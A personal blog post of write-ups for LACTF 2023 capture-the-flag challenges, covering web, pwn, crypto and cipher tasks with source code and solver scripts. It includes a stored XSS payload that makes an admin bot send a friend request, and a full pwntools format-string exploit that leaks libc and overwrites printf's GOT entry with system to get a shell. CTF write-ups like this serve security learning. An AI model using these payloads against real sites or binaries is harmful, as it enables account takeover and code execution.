Jax Dunfee


LACTF 2023 - Writeups
My write-ups for LACTF 2023: web, pwn, and more!
February 14, 2023
ctf

Introduction

Hello everyone! Sorry this write-up is a bit late; school has been rough and the homework plentiful. But I’m glad to get this out today, and I’m hoping to get another out next weekend.

The challenges this CTF had were fun, exciting, and a bit of a breath of fresh air compared to some of the usual tedious stuff we get (no shade intended). I hope you all enjoy the write-up, and please feel free to email me or send me a DM if you have any questions!

Metaverse

This was a fun XSS challenge.

We are provided with two links:

  • https://metaverse.lac.tf/login
  • https://admin-bot.lac.tf/metaverse (We can infer XSS since when these are provided, they usually are.)

and a file index.js

const express = require("express");  
const path = require("path");  
const fs = require("fs");  
const cookieParser = require("cookie-parser");  
const { v4: uuid } = require("uuid");

const flag = process.env.FLAG;  
const port = parseInt(process.env.PORT) || 8080;  
const adminpw = process.env.ADMINPW || "placeholder";

const accounts = new Map();  
accounts.set("admin", {  
    password: adminpw,  
    displayName: flag,  
    posts: [],  
    friends: [],  
});  
const posts = new Map();

const app = express();

let cleanup = [];

setInterval(() => {  
    const now = Date.now();  
    let i = cleanup.findIndex((x) => now < x[1]);  
    if (i === -1) {  
        i = cleanup.length;  
    }  
    for (let j = 0; j < i; j++) {  
        const account = accounts.get(cleanup[i][0]);  
        for (const post of account.posts) {  
            posts.delete(post);  
        }  
        accounts.delete(cleanup[i][0]);  
    }  
    cleanup = cleanup.slice(i);  
}, 1000 * 60);

function needsAuth(req, res, next) {  
    if (!res.locals.user) {  
        res.redirect("/login");  
    } else {  
        next();  
    }  
}

app.use(cookieParser());  
app.use(express.urlencoded({ extended: false }));  
app.use((req, res, next) => {  
    res.locals.user = null;  
    if (req.cookies.login) {  
        const chunks = req.cookies.login.split(":");  
        if (chunks.length === 2 && accounts.has(chunks[0]) && accounts.get(chunks[0]).password === chunks[1]) {  
            res.locals.user = chunks[0];  
        }  
    }  
    next();  
});

// templating engines are for losers!  
const postTemplate = fs.readFileSync(path.join(__dirname, "post.html"), "utf8");  
app.get("/post/:id", (req, res) => {  
    if (posts.has(req.params.id)) {  
        res.type("text/html").send(postTemplate.replace("$CONTENT", () => posts.get(req.params.id)));  
    } else {  
        res.status(400).type("text/html").send(postTemplate.replace("$CONTENT", "post not found :("));  
    }  
});

app.get("/", needsAuth);  
app.get("/login", (req, res, next) => {  
    if (res.locals.user) {  
        res.redirect("/");  
    } else {  
        next();  
    }  
});  
app.use(express.static(path.join(__dirname, "static"), { extensions: ["html"] }));

app.post("/register", (req, res) => {  
    if (typeof req.body.username !== "string" || typeof req.body.password !== "string" || typeof req.body.displayName !== "string") {  
        res.redirect("/login#" + encodeURIComponent("Please metafill out all the metafields."));  
        return;  
    }  
    const username = req.body.username.trim();  
    const password = req.body.password.trim();  
    const displayName = req.body.displayName.trim();  
    if (!/^[\w]{3,32}$/.test(username) || !/^[-\w !@#$%^&*()+]{3,32}$/.test(password) || !/^[-\w ]{3,64}/.test(displayName)) {  
        res.redirect("/login#" + encodeURIComponent("Invalid metavalues provided for metafields."));  
        return;  
    }  
    if (accounts.has(username)) {  
        res.redirect("/login#" + encodeURIComponent("Metaaccount already metaexists."));  
        return;  
    }  
    accounts.set(username, { password, displayName, posts: [], friends: [] });  
    cleanup.push([username, Date.now() + 1000 * 60 * 60 * 12]);  
    res.cookie("login", `${username}:${password}`, { httpOnly: true });  
    res.redirect("/");  
});

app.post("/login", (req, res) => {  
    if (typeof req.body.username !== "string" || typeof req.body.password !== "string") {  
        res.redirect("/login#" + encodeURIComponent("Please metafill out all the metafields."));  
        return;  
    }  
    const username = req.body.username.trim();  
    const password = req.body.password.trim();  
    if (accounts.has(username) && accounts.get(username).password === password) {  
        res.cookie("login", `${username}:${password}`, { httpOnly: true });  
        res.redirect("/");  
    } else {  
        res.redirect("/login#" + encodeURIComponent("Wrong metausername/metapassword."));  
    }  
});

app.post("/friend", needsAuth, (req, res) => {  
    res.type("text/plain");  
    const username = req.body.username.trim();  
    if (!accounts.has(username)) {  
        res.status(400).send("Metauser doesn't metaexist");  
    } else {  
        const user = accounts.get(username);  
        if (user.friends.includes(res.locals.user)) {  
            res.status(400).send("Already metafriended");  
        } else {  
            user.friends.push(res.locals.user);  
            res.status(200).send("ok");  
        }  
    }  
});

app.post("/post", needsAuth, (req, res) => {  
    res.type("text/plain");  
    const id = uuid();  
    const content = req.body.content;  
    if (typeof content !== "string" || content.length > 1000 || content.length === 0) {  
        res.status(400).send("Invalid metacontent");  
    } else {  
        const user = accounts.get(res.locals.user);  
        posts.set(id, content);  
        user.posts.push(id);  
        res.send(id);  
    }  
});

app.get("/posts", needsAuth, (req, res) => {  
    res.type("application/json");  
    res.send(  
        JSON.stringify(  
            accounts.get(res.locals.user).posts.map((id) => {  
                const content = posts.get(id);  
                return {  
                    id,  
                    blurb: content.length < 50 ? content : content.slice(0, 50) + "...",  
                };  
            })  
        )  
    );  
});

app.get("/friends", needsAuth, (req, res) => {  
    res.type("application/json");  
    res.send(  
        JSON.stringify(  
            accounts  
                .get(res.locals.user)  
                .friends.filter((username) => accounts.has(username))  
                .map((username) => ({  
                    username,  
                    displayName: accounts.get(username).displayName,  
                }))  
        )  
    );  
});

app.listen(port, () => {  
    console.log(`Listening on port ${port}`);  
});

index.html

fetch("/friends")  
    .then((res) => res.json())  
    .then((friends) => {  
        const list = document.getElementById("friendlist");  
        if (friends.length === 0) {  
            const ele = document.createElement("p");  
            ele.innerText = "you have none :(";  
            list.appendChild(ele);  
        }  
        for (const f of friends) {  
            const ele = document.createElement("p");  
            ele.innerText = `${f.displayName} (${f.username})`;  
            list.appendChild(ele);  
        }  
    });  

We can see that the flag will be set as the name of the Administrator user. Names can be seen with the /friends endpoint, so using XSS, we can use a POST request to /friend and become “friends” with the administrator.
Exploit

fetch('/friend',{  
    method:'POST',  
    headers:{  
        "Content-type":'application/x-www-form-urlencoded'  
    },  
    body:'username=admin'  
})  

With only a fetch request, we can use the metapost feature and see that it is replacing $CONTENT in the post.html file.

const postTemplate = fs.readFileSync(path.join(__dirname, "post.html"), "utf8");  
app.get("/post/:id", (req, res) => {  
    if (posts.has(req.params.id)) {  
        res.type("text/html").send(postTemplate.replace("$CONTENT", () => posts.get(req.params.id)));  
    } else {  
        res.status(400).type("text/html").send(postTemplate.replace("$CONTENT", "post not found :("));  
    }  
});  

It executed: Final Payload

<script>  
fetch('/friend',{  
    method:'POST',  
    headers:{  
        "Content-type":'application/x-www-form-urlencoded'  
    },  
    body:'username=test'  
})  
</script>  

By making a metapost with this, we can send the admin bot to it and get the flag by refreshing the main page.

Gatekeep

This one was a simple overflow caused by the function gets() so when the input is greater than s1[15] check() is bypassed and the flag is obtained.
gatekeep.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

void print_flag() {
    char flag[256];

    FILE* flagfile = fopen("flag.txt", "r");
    
    if (flagfile == NULL) {
        puts("Cannot read flag.txt.");
    } else {
        fgets(flag, 256, flagfile);
        flag[strcspn(flag, "\n")] = '\0';
        puts(flag);
    }
}

int check(){
    char input[15];
    char pass[10];
    int access = 0;

    // If my password is random, I can gatekeep my flag! :)
    int data = open("/dev/urandom", O_RDONLY);
    if (data < 0)
    {
        printf("Can't access /dev/urandom.\n");
        exit(1);
    }
    else
    {
        ssize_t result = read(data, pass, sizeof pass);
        if (result < 0)
        {
            printf("Data not received from /dev/urandom\n");
            exit(1);
        }
    }
    close(data);
    
    printf("Password:\n");
    gets(input);

    if(strcmp(input, pass)) {
        printf("I swore that was the right password ...\n");
    }
    else {
        access = 1;
    }

    if(access) {
        printf("Guess I couldn't gaslight you!\n");
        print_flag();
    }
}

int main(){
    setbuf(stdout, NULL);
    printf("If I gaslight you enough, you won't be able to guess my password! :)\n");
    check();
    return 0;
}

Exploitation

chinese-lazy-theorem-1

For some reason I had some trouble with this one, but it ended up being a lot simpler than I had previously thought.  chinese-lazy-theorem-1.py

#!/usr/local/bin/python3

from Crypto.Util.number import getPrime
from Crypto.Random.random import randint

p = getPrime(512)
q = getPrime(512)
n = p*q # greater than this

target = randint(1, n)

used_oracle = False

print(p)
print(q)

print("To quote Pete Bancini, \"I'm tired.\"")
print("I'll answer one modulus question, that's it.")
while True:
    print("What do you want?")
    print("1: Ask for a modulus")
    print("2: Guess my number")
    print("3: Exit")
    response = input(">> ")

    if response == "1":
        if used_oracle:
            print("too lazy")
            print()
        else:
            modulus = input("Type your modulus here: ")
            modulus = int(modulus)
            if modulus <= 0:
                print("something positive pls")
                print()
            else:
                used_oracle = True
                print(target%modulus)
                print()
    elif response == "2":
        guess = input("Type your guess here: ")
        if int(guess) == target:
            with open("flag.txt", "r") as f:
                print(f.readline())
        else:
            print("nope")
        exit()
    else:
        print("bye")
        exit()

To obtain the flag, you only have to make the modulus greater than the target p*q , then use that to get the flag.

chinese-lazy-theorem-2

If you can find target % p and target % q you find target target % pq. But since the maximum target is p*q*2*3*5 it isn’t quite enough for us, so we have to try (target % pq) + i * pq 30 times.

I did so with the following script; please excuse its grotesqueness.

from pwn import *    
from sympy.ntheory.modular import crt    
    
with remote("lac.tf", 31111) as r:    
	p = int(r.readline(False))    
	q = int(r.readline(False))    
	r.sendline(b"1")    
	r.readuntil(b"Type your modulus here: ")    
	r.sendline(str(p).encode())    
	x = int(r.readline(False))    
	r.sendline(b"1")    
	r.readuntil(b"Type your modulus here: ")    
	r.sendline(str(q).encode())    
	y = int(r.readline(False))    
	a, b = crt([p,q],[x,y])    
	r.sendline(b"2")    
	for i in range(30):    
		r.readuntil(b"Type your guess here: ")    
		r.sendline(str(a+i*b).encode())    
		print(r.readline())  

discord l34k

This was probably my favorite challenge of the CTF. We are asked to gain access to a Discord server depicted in a picture of a widget, but the entire challenge was based on a link provided in the description.

The link provided in the description: https://discord.com/channels/1060030874722259057/1060030875187822724/1060031064669700186  

After looking a bit into the Discord JSON API, I saw that the first ID provided in the link is that of the server, so using that first ID, I added it to the link used for widgets.
https://discordapp.com/api/servers/1060030874722259057/widget.json

This provided us with a discord link with the challenge flag.

rolling in the mud

I’ll be honest; for a bit, I thought this was a Nancy Drew encoding for a bit. But it’s pig pen

Decrypting that got us:{eombmcvcalebupauntcnjppmjfnicnappmjfnippmjfni}dugip
With a little magic got us:lactf{rolling_and_rolling_and_rolling_until_the_pigs_go_home}

Greek Cipher

We are provided with:
κςκ ωπν αζπλ ιησι χνοςνθ μσγθσρ λσθ ζπι ιηγ δςρθι ψγρθπζ ςζ ηςθιπρω θνθψγμιγκ πδ νθςζε γζμρωψιςπζ? τγ ζγςιηγρ. κςκ ωπν αζπλ ιησι χνοςνθ μσγθσρ λσθ ψρπξσξοω δονγζι ςζ εργγα? τγ ζγςιηγρ. ς οςαγ ηπλ εργγα μησρσμιγρ οππα ιηπνεη, γυγζ ςδ ς μσζ'ι ργσκ ιηγτ. οσμιδ{ς_ενγθθ_νθςζε_τσζω_εργγα_μησρσμιγρθ_κςκζ'ι_θιπψ_ωπν._λγοο_ψοσωγκ_ς_τνθι_θσω.μπζερσιθ!}
Using https://tio.run with

print(''.join(sorted(set(input()))))   `  

Which I then used substitute on CyberChef 
Replacing each letter with its current English equivalent

I then blasted it getting the flag:lactf{i_guess_using_many_greek_characters_didn't_stop_you._well_played_i_must_say.congrats!}

rickroll

This one we over-engineered the hell out of, to the point where it was just a bit extra.

#include <stdio.h>

int main_called = 0;

int main(void) {
    if (main_called) {
        puts("nice try");
        return 1;
    }
    main_called = 1;
    setbuf(stdout, NULL);
    printf("Lyrics: ");
    char buf[256];
    fgets(buf, 256, stdin);
    printf("Never gonna give you up, never gonna let you down\nNever gonna run around and ");
    printf(buf);
    printf("Never gonna make you cry, never gonna say goodbye\nNever gonna tell a lie and hurt you\n");
    return 0;
}

I was rickrolled by a ctf, so you, the reader, must experience the same

Exploit

#!/usr/bin/env python3

from pwn import *

context.binary = elf = ELF('rickroll_patched')  
glibc = ELF('libc.so.6', checksec=False)

  
def get_process():  
    if len(sys.argv) == 1:  
        return elf.process()

    host, port = sys.argv[1], sys.argv[2]  
    return remote(host, int(port))

  
def main():  
    p = get_process()

    payload = b'%82c%14$lln%191c%15$hhn%47c%16$hhnaaaabb%186c%17$hhn...%18$s....\x18@@\x00\x00\x00\x00\x00\x19@@\x00\x00\x00\x00\x00\x1a@@\x00\x00\x00\x00\x00' + p64(elf.sym.main_called) + p64(elf.got.fgets)

    p.sendlineafter(b'Lyrics: ', payload)  
    fgets_addr = u64(p.recvuntil(b'....')[:-4].split(b'...')[1].ljust(8, b'\0'))  
    glibc.address = fgets_addr - glibc.sym.fgets

    log.info(f'Leaked fgets() address: {hex(fgets_addr)}')  
    log.success(f'Glibc base address: {hex(glibc.address)}')

    system = glibc.sym.system

    to_write = system & 0xff  
    payload  = ('%' + str(to_write) + 'c%14$hhn').ljust(16, '.').encode()

    to_write = (((system >> 8) & 0xff) - to_write - payload[:16].count(b'.')) % 256  
    payload += ('%' + str(to_write) + 'c%15$hhn').ljust(16, '.').encode()

    to_write = (((system >> 16) & 0xff) - 0x55 - to_write - payload[16:32].count(b'.')) % 256  
    payload += ('%' + str(to_write) + 'c%16$hhn').ljust(16, '.').encode()

    to_write = (256 - 0xd2 - to_write - payload[32:48].count(b'.')) % 256  
    payload += ('%' + str(to_write) + 'c%17$hhn').ljust(16, '.').encode()

    payload += p64(elf.got.printf)  
    payload += p64(elf.got.printf + 1)  
    payload += p64(elf.got.printf + 2)  
    payload += p64(elf.sym.main_called)

    p.sendlineafter(b'Lyrics: ', payload)

    try:  
        p.sendlineafter(b'sh: 1: Lyrics:: not found\n', b'cat flag.txt')  
        p.recvuntil(b'sh: 1: Never: not found\nsh: 2: Never: not found\n')  
        log.success(p.recv().decode().strip())  
    except EOFError:  
        p.close()  
        glibc.address = 0  
        main()

  
if __name__ == '__main__':  
    main()  

When executed:

$ python3 solve.py lac.tf 31135   

[*] '/home/anger/hack/ctf/LACTF2023/rickroll/rickroll_patched' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'.'   
[+] Opening connection to lac.tf on port 31135: Done   
[*] Leaked fgets() address: 0x7fa4f94079c0   
[+] Glibc base address: 0x7fa4f9396000   
[*] Closed connection to lac.tf port 31135   
[+] Opening connection to lac.tf on port 31135: Done   
[*] Leaked fgets() address: 0x7f1ece3cf9c0   
[+] Glibc base address: 0x7f1ece35e000   
[*] Closed connection to lac.tf port 31135   
[+] Opening connection to lac.tf on port 31135: Done   
[*] Leaked fgets() address: 0x7f81dba5f9c0   
[+] Glibc base address: 0x7f81db9ee000   
[*] Closed connection to lac.tf port 31135   
[+] Opening connection to lac.tf on port 31135: Done   
[*] Leaked fgets() address: 0x7f3bdb53c9c0 [+] Glibc base address: 0x7f3bdb4cb000   
[*] Closed connection to lac.tf port 31135   
[+] Opening connection to lac.tf on port 31135: Done   
[*] Leaked fgets() address: 0x7f0c5b7639c0   
[+] Glibc base address: 0x7f0c5b6f2000   
[*] Closed connection to lac.tf port 31135 [+] Opening connection to lac.tf on port 31135: Done   
[*] Leaked fgets() address: 0x7effec44b9c0   
[+] Glibc base address: 0x7effec3da000   
[*] Closed connection to lac.tf port 31135   
[+] Opening connection to lac.tf on port 31135: Done   
[*] Leaked fgets() address: 0x7f438f0d29c0   
[+] Glibc base address: 0x7f438f061000   
[*] Closed connection to lac.tf port 31135   
[+] Opening connection to lac.tf on port 31135: Done   
[*] Leaked fgets() address: 0x7fd7ca6789c0   
[+] Glibc base address: 0x7fd7ca607000   
[+] lactf{printf_gave_me_up_and_let_me_down}   
[*] Closed connection to lac.tf port 31135  

Conclusion

It was a fun CTF and I look forward to next years event. I would like to thank my new teammates at /bin/cat, we only had three people working on this event but still placed very high.

Note:

I would like to apologize for any inconsistent formatting. I’m still working on a better way to convert the markdown I make these posts in to the HTML/JS I use on this site. This is also my first personal write-up so I am working on making them better and more detailed.